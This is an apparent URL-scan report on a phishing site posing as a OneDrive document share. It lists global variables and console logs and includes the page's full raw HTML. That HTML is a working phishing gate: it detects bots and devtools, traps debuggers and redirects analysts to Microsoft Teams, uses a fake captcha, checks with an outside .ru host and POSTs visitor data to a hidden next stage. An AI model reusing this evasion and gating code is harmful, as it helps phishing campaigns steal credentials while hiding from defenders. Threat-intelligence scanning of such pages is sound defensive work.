- スキャンID:
- 5a5a44b2-97f7-47b2-8f83-83e5f2dd41df終了
- 送信済みURL:
- https://securedsharedocu-onedrive.com/
- レポート終了日:
リンク · 0件検出
ページから特定された発信リンク
JavaScript変数 · 20件検出
ページのウィンドウオブジェクトにロードされたグローバルのJavaScript変数は関数以外の場所で宣言された変数で、現在のスコープ内であればコードのどこからでもアクセス可能です
名前 | 規模 |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
sHpzcLXvzT | object |
$ | function |
jQuery | function |
turnstile | object |
UwENipbsWk | boolean |
cltoken | object |
isNumber | function |
コンソールログメッセージ · 5件検出
Webコンソールにログ記録されたメッセージ
規模 | 分類 | ログ |
---|---|---|
log | other |
|
warning | network |
|
warning | network |
|
warning | network |
|
error | network |
|
HTML
未加工のHTMLページ本文
<!-- Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. --><html lang="en"><head>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
<meta name="robots" content="noindex, nofollow">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
<style>
body, html {
margin: 0;
padding: 0;
height: 100%;
overflow: hidden;
}
.background-container {
position: relative;
height: 100%;
width: 100%;
}
.background-container::before {
content: "";
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: -1;
}
.content {
position: relative;
z-index: 1;
display: flex;
justify-content: center;
align-items: center;
height: 100%;
color: white;
font-size: 24px;
text-align: center;
}
.captcha-box {
display: flex;
flex-direction: column;
align-items: center;
justify-content: space-between;
padding: 10px;
width: 300px;
margin: 20px auto;
position: relative;
}
.captcha-checkbox {
display: flex;
align-items: center;
position: relative;
}
.captcha-checkbox input[type="checkbox"] {
display: none;
}
.captcha-checkbox label {
display: flex;
align-items: center;
cursor: pointer;
}
.captcha-checkmark {
width: 20px;
height: 20px;
border: 2px solid #d3d3d3;
border-radius: 3px;
background-color: #fff;
margin-right: 10px;
position: relative;
}
.captcha-checkbox input[type="checkbox"]:checked + label .captcha-checkmark::after {
content: "";
position: absolute;
left: 5px;
top: 1px;
width: 6px;
height: 12px;
border: solid #4caf50;
border-width: 0 3px 3px 0;
transform: rotate(45deg);
}
.captcha-text {
font-family: Arial, sans-serif;
font-size: 14px;
color: #333;
}
.captcha-logo img {
height: 48px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.captcha-outerboxcontent {
display: flex;
flex-direction: column;
align-items: center;
justify-content: space-between;
border: 1px solid #d3d3d3;
padding: 10px;
width: 300px;
margin: 20px auto;
border-radius: 4px;
box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.2);
position: relative;
}
.captcha-content {
display: none;
text-align: center;
flex-direction: column;
align-items: center;
width: 100%;
margin-top: 10px;
}
.captcha-content img {
width: 100%;
margin-bottom: 10px;
}
.captcha-content input {
width: calc(100% - 20px);
padding: 5px;
font-size: 16px;
text-align: center;
}
.captcha-content button {
padding: 5px 10px;
font-size: 16px;
background-color: #4CAF50;
color: white;
border: none;
cursor: pointer;
margin-top: 10px;
}
.captcha-content button:hover {
background-color: #45a049;
}
.container {
display: flex;
flex-direction: column;
justify-content: flex-end;
height: 400px;
}
#captchaanwsererr {
display: none;
font-family: system-ui;
color: red;
font-weight: bold;
}
#captchaCanvas {
width: 100%;
margin-bottom: 10px;
}
form {
margin: 0;
}
</style>
<script>
if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
if (event.keyCode === 123) {
event.preventDefault();
return false;
}
if (
(event.ctrlKey && event.keyCode === 85) ||
(event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
(event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
(event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
(event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
(event.ctrlKey && event.keyCode === 72) ||
(event.metaKey && event.altKey && event.keyCode === 73) ||
(event.metaKey && event.altKey && event.keyCode === 67) ||
(event.metaKey && event.keyCode === 85)
) {
event.preventDefault();
return false;
}
});
document.addEventListener('contextmenu', function(event) {
event.preventDefault();
return false;
});
UwENipbsWk = false;
(function NimnnnibPV() {
let juDJVCpeKw = false;
const tExceKWhre = 100;
setInterval(function() {
const bFhDTImzNy = performance.now();
debugger;
const QfhvrnfqRA = performance.now();
if (QfhvrnfqRA - bFhDTImzNy > tExceKWhre && !juDJVCpeKw) {
UwENipbsWk = true;
juDJVCpeKw = true;
window.location.replace('https://teams.microsoft.com');
}
}, 100);
})();
</script>
</head>
<body>
<div class="background-container">
<div class="container">
<div class="captcha-box">
<div class="captcha-checkbox">
<div class="cf_turnstile" id="cf"><div><input type="hidden" name="cf-turnstile-response" id="cf-chl-widget-0q2ze_response"></div></div>
</div>
<div class="captcha-outerboxcontent" style="display: none;">
<div class="captcha-content" style="display: none;">
<canvas id="captchaCanvas" width="300" height="105"></canvas>
<input type="text" id="captchaInput" onkeypress="return isNumber(event)" placeholder="Enter the result">
<form id="NAZvPSORLe">
<input type="hidden" id="sid" name="sid" value="5iAU0pBt80ynQ5xBM6qDQXzAEuQYIxyAUQSWspa8">
<input type="hidden" id="pagelink" name="pagelink" value="">
<input type="hidden" id="bltdip" name="bltdip" value="Unknown">
<input type="hidden" id="bltdref" name="bltdref" value="https://tkhayal.org/cgi-admin/54321.html">
<input type="hidden" id="bltdua" name="bltdua" value="Unknown">
<input type="hidden" id="bltddata" name="bltddata" value="">
</form>
<div id="captchaanwsererr">Wrong Anwser</div>
<button id="captchaSubmitButton">Submit</button>
</div>
</div>
</div>
</div>
</div>
<script>
var cltoken = null;
function isNumber(evt) {
var charCode = (evt.which) ? evt.which : evt.keyCode
if (charCode > 31 && (charCode < 48 || charCode > 57))
return false;
return true;
}
var anwser;
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("captchaSubmitButton").addEventListener("click", qOKGJlkWRu);
document.getElementById("captchaInput").addEventListener("keydown", function(event) {
if (event.key === "Enter") {
qOKGJlkWRu();
}
});
});
const canvas = document.getElementById("captchaCanvas");
const ctx = canvas.getContext("2d");
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function drawRandomLines(ctx, lineCount) {
for (let i = 0; i < lineCount; i++) {
ctx.beginPath();
ctx.moveTo(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height));
ctx.lineTo(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height));
ctx.strokeStyle = `rgba(${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, 0.7)`;
ctx.lineWidth = getRandomInt(1, 3);
ctx.stroke();
}
}
function drawRandomDots(ctx, dotCount) {
for (let i = 0; i < dotCount; i++) {
ctx.beginPath();
ctx.arc(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height), getRandomInt(1, 3), 0, Math.PI * 2);
ctx.fillStyle = `rgba(${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, 0.5)`;
ctx.fill();
}
}
function drawRandomEllipses(ctx, ellipseCount) {
for (let i = 0; i < ellipseCount; i++) {
ctx.beginPath();
ctx.ellipse(getRandomInt(0, canvas.width), getRandomInt(0, canvas.height), getRandomInt(20, 40), getRandomInt(10, 20), Math.PI / 4, 0, 2 * Math.PI);
ctx.strokeStyle = `rgba(${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, ${getRandomInt(0, 255)}, 0.6)`;
ctx.lineWidth = 1;
ctx.stroke();
}
}
function drawCaptchaText(ctx) {
const num1 = getRandomInt(1, 9);
const num2 = getRandomInt(1, 9);
const captchaText = `${num1} + ${num2}`;
ctx.font = "40px Arial";
ctx.fillStyle = "black";
anwser = num1+num2;
ctx.fillText(captchaText, canvas.width / 2 - ctx.measureText(captchaText).width / 2, canvas.height / 2 + 15);
}
function drawCaptcha() {
ctx.clearRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = "#ffffff";
ctx.fillRect(0, 0, canvas.width, canvas.height);
drawRandomLines(ctx, 10);
drawRandomEllipses(ctx, 3);
drawRandomDots(ctx, 100);
drawCaptchaText(ctx);
}
turnstile.render('#cf', {
sitekey: '0x4AAAAAAAhG5p7g7iJ3hhBQ',
'error-callback': oKUjWdiDnH,
callback: TDKcOLAgGJ,
});
function oKUjWdiDnH() {
turnstile.reset();
}
function TDKcOLAgGJ(token) {
cltoken = token;
setTimeout(function(){
document.querySelector(".captcha-checkbox").style.display = "none";
drawCaptcha();
document.querySelector(".captcha-outerboxcontent").style.display = "flex";
document.querySelector(".captcha-content").style.display = "flex";
}, 2000);
}
function qOKGJlkWRu() {
var csa = document.getElementById("captchaInput").value;
if(csa == ""){
document.getElementById("captchaanwsererr").innerText = "Anwser is required";
document.getElementById("captchaanwsererr").style.display = "block";
}
if(csa !== ""){
if(csa !== anwser){
document.getElementById("captchaanwsererr").innerText = "Wrong Anwser";
document.getElementById("captchaanwsererr").style.display = "block";
}
if(csa == anwser){
document.getElementById("captchaanwsererr").style.display = "none";
var yrlrDgaJSN = document.getElementById("NAZvPSORLe");
yrlrDgaJSN.onsubmit = function (event) {
event.preventDefault();
};
document.getElementById("pagelink").value = 'okaie0amv2';
let formdata = new FormData(yrlrDgaJSN);
formdata.append("cf-turnstile-response", cltoken);
document.querySelector(".captcha-outerboxcontent").style.display = "none";
document.querySelector(".captcha-content").style.display = "none";
document.querySelector(".captcha-checkbox").style.display = "block";
var GrGXohzURA = "../cbzQ1XBpmc2I2R9nG1t9CVjT8tqm36eHHwXyrBDHvd";
fetch('https://8zdijJvgij6syICBbieVBeBcvQ41cVMkaiDd0rRwADiEyleAaC.avzcafe.ru/44021528279151524094806KTOXqZIGDGZPNYSBHASLPDICRGQOINGSLELVPO', {
method: "GET",
}).then(response => {
return response.text()
}).then(text => {
if(text == 0){
fetch(GrGXohzURA, {
method: "POST",
body: formdata
}).then(response => {
return response.json();
}).then(data => {
if(data['status'] == 'success'){
location.reload();
}
if(data['status'] == 'error'){
window.location.replace('https://teams.microsoft.com');
}
});
}
if(text != 0){
window.location.replace('https://teams.microsoft.com');
}
})
.catch(error => {
window.location.replace('https://teams.microsoft.com');
});
}
}
}
</script>
</body></html><!-- Try not to become a man of success. Rather become a man of value. -->